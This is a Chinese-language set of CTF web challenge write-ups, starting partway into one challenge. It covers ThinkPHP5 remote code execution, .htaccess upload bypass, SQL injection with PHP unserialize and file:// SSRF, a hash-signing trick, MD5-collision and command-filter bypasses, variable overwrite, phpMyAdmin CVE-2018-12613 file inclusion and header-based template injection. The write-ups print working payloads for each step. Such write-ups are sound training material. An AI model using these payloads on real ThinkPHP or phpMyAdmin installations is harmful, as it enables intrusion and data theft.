根据 学习的 第二篇文章中所说的我们 可以利用 PHPSESSID 来传递 字符串。(PHPSESSID 只能是字母和数字) 所以这里我们只能传入。
所提我们也可以布置为
exp=var_dump(scandir(session_id(session_start())));
PHPSESSID=.
这样也能显示 当前目录因为 过滤了
et
所以 get_file_contens 不能被使用 我们可以利用 readfile?exp=var_dump(readfile(session_id(session_start())));
Cookie: PHPSESSID=flag.php
得到 flag
readfile()或highlight_file()以及其别名函数show_source()
[BJDCTF 2nd]old-hack
2020.11.4
考点
thinkphp5 漏洞
Thinkphp框架有s参数可以加载模块,随便加点什么,发现开了debug模式,其中可以看到Thinkphp的版本。
做题步骤
打开题目 发现
说明是 thinkphp5 的利用
我们可以利用 参数 s 来报错得到 对应版本
index.php?s=1
为 5.0.23
参考
payload
1 | http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha |
执行命令 cat /flag
_method=__construct&filter[]=system&method=get&get[]=cat /flag
得到 flag
[GXYCTF2019]BabyUpload
2020.11.4
考点
文件上传
上传 .htaccess
和 题目 [MRCTF2020]你传你🐎呢
一样
做题步骤
上传 .jpg 文件发现可以上传
抓包上传 一句话 改名为 .jpg 抓包修改文件名
报错 说明 不能传参 ph 结尾的 也就是不能有 php 的被上传
所以我们不能这样直接上传
我们上传一个 .aaa文件 发现能够上传 所以是一个 黑名单。
尝试上传 .htaccess 文件。
发现上传成功。 然后我们上传 一句话。 改后缀为 .jpg
上传成功, 蚁剑链接得到 flag
[网鼎杯 2018]Fakebook
2020.11.4
考点
robots.txt
考点
sql 注入
反序列化
结合理解
做题步骤
在 robots.txt 中有源码泄露
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}测试所有功能
有个注册 注册的 blog 必须是 能访问的 页面
创建好会登录账号
点击admin
可以查看我们的创建。
Url 有个 注入 字符型
view.php?no=1%20and%201=1
正常显示view.php?no=1%20and%201=0
报错
尝试 注入
view.php?no=1%20order%20by%205
的时候报错view.php?no=1%20order%20by%204
的时候正常说明 4个回显位置view.php?no=1 union select 1,2,3,4
输入后报错 说明有waf 利用大小写测试(不行)双写(报错 说明不是), 利用/**/+空格可以绕过 ,union+空格+空格+select 也能绕过
view.php?no=2 union select 1,2,3,4
找到回显位置为2网页还有一个 反序列化的 报错
**Notice**: unserialize(): Error at offset 0 of 1 bytes in **/var/www/html/view.php** on line **31**
爆破表信息
1
2
3
4
5
6
7
8
9
10
11
12# 得到database()
union select 1,database(),3,4
fakebook
# 得到表
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'
users
# 得到字段
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook'
no,username,passwd,data
# 查看 no username passwd data 的信息发现只有 data 里面有比较有用的信息 保存我们的基础信息利用序列化保存的
union select 1,group_concat(data),3,4 from users
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:12:"www.4399.com";}我们记得 正常的显示 显示的信息就是 我们data 里面的 序列化的的值,且
the contents of his/her blog
这里显示的 是我们 www.4399.com 的链接的内容。 说明在我们把内容显示到 前端之前 会进行一个反序列化 且根据 序列化的内容我们可以得到 php class的基本信息根据泄露的 user.php 我们创建对应的序列化
刚开始利用 相对路径 猜测flag.php 发现 并不能得到flag 因为前端的原因
查看是 利用 file 协议 (file 协议 必须使用绝对路径)
1
2
3$a = new UserInfo("1111",21,"file:///var/www/html/flag.php");
var_dump(serialize($a));
# O:8:"UserInfo":3:{s:4:"name";s:4:"1111";s:3:"age";i:21;s:4:"blog";s:29:"file:///var/www/html/flag.php";}payload
1
view.php?no=2 union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"1111";s:3:"age";i:21;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
解 Base64 = flag
[De1CTF 2019]SSRF Me
2020.11.4
考点
Python web
Md5 绕过
哈希扩招工具
https://joychou.org/web/hash-length-extension-attack.html
做题步骤
打开网站有个 源码整理后
分析
1 | #! /usr/bin/env python |
有个提示 flag is in ./flag.txt
更具逻辑 我们知道 只有我们的 输入 self.checkSign()
满足条件
1 | def checkSign(self): |
Getsign 函数
1 | # 得到 对应的 md5加密 |
利用 字符拼接 得到 sign
我们要去 得到 flag,txt 里面的值
我们要用到 readscan 读取值然后先出出来。
所以我们要构建的就是
secert_key + param + action
=> secert_key +'flag.txtreadscan'
的md5 的值
这里 geneSign
这个目录下 可以泄露
只要我们传入的 param = ‘flag.txtread’ 这个时候他的 sign = md5(secert_key +'flag.txtread'+'scan'
)
也就得到了 对应我们需要的 md5 的值
所以我们可以先利用 payload
/geneSign?param=flag.txtread
得到 secert_key +'flag.txtreadscan'
的md5 的值
再去 访问 De1ta
目录传值
/De1ta?param=flag.txt
Cookie: cation=readscan; sign=泄露的值
得到 flag
[安洵杯 2019]easy_web
2020.11.4
考点
md5 碰撞
做题步骤
访问 url
http://52727845-d19d-42a2-9188-ebda2e8efc3d.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
里面有一个 类似 base 加密的
TXpVek5UTTFNbVUzTURabE5qYz0
根据参数名 img= 猜测是加密后的 图片名字进行解密
TXpVek5UTTFNbVUzTURabE5qYz0
MzUzNTM1MmU3MDZlNjc=
3535352e706e67
所以 我们可以泄露数据 bin2hex -> base64 *2
得到 index.php 的内容
1 | index.php |
index.php
1 |
|
代码里面 发现过滤了很多
且判断了 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
然后我们就可以 构造 payload
因为这里 强制转化为了 strings 所以我们 只能 用 Md5 碰撞
1 | a=%4d%c9%68%ff%0e%e3%5c+%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c+%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 |
利用反斜杠产生转义字符绕过后仍可执行
index.php?cmd=ca\t%20/fl\ag
利用 strings 得到 flag
index.php?cmd=strings%20/fl\ag
利用 sort 得到 flag
index.php?cmd=sort%20/fl\ag
[BJDCTF2020]Mark loves cats
2020.11.6
考点
Git 泄露
变量覆盖 $$
做题步骤
拿到题目不知道干什么 先扫目录 发现有 git 目录
利用 Git_Extract
我们查看 对应的文件
在 index.php 最后发现显示flag的代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;发现 两个 foreach 循环
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16foreach($_POST as $x => $y){
$$x = $y;
}
POST: $a='111'
经过函数
$$a = '111'
foreach($_GET as $x => $y){
$$x = $$y;
}
GET: ?$a='111'
经过函数
$$a=$'111'
这里就存在一个 变量覆盖的漏洞
payload:
GET:yds=flag POST:$flag=flag
- foreach POST: $$x = $y => $ $flag=flag
- foreach GET : $$x = $$y => $ yds = $ flag 因为 $flag = flag 所以 $yds = flag
在程序中。
exit() 也会带出 变量的值
这个时候 我们已经修改了 yds 的值。
我们可以利用 exit($yds) 带出flag
[GWCTF 2019]我有一个数据库
2020.11.7
考点
phpMyadmin(CVE-2018-12613)后台任意文件包含漏洞
https://www.freebuf.com/column/207707.html
做题步骤
不是很清楚
找到 wp 复现
版本信息
https://www.cnblogs.com/wangtanzhi/p/12284857.html
payload
phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag
得到 flag
[BJDCTF2020]The mystery of ip
2020.11.7
考点
ssti 注入
客户端请求头,XFF和client-ip都和 ip 地址有关
做题步骤
打开网站是一个 博客类似的 查看 flag.php
发现会显示 我们的 ip 在 hint.php 的源码中 发现
所以抓包查看
客户端请求头,XFF和client-ip都可
client-ip:{system('ls')}
发现可以执行
查看 flag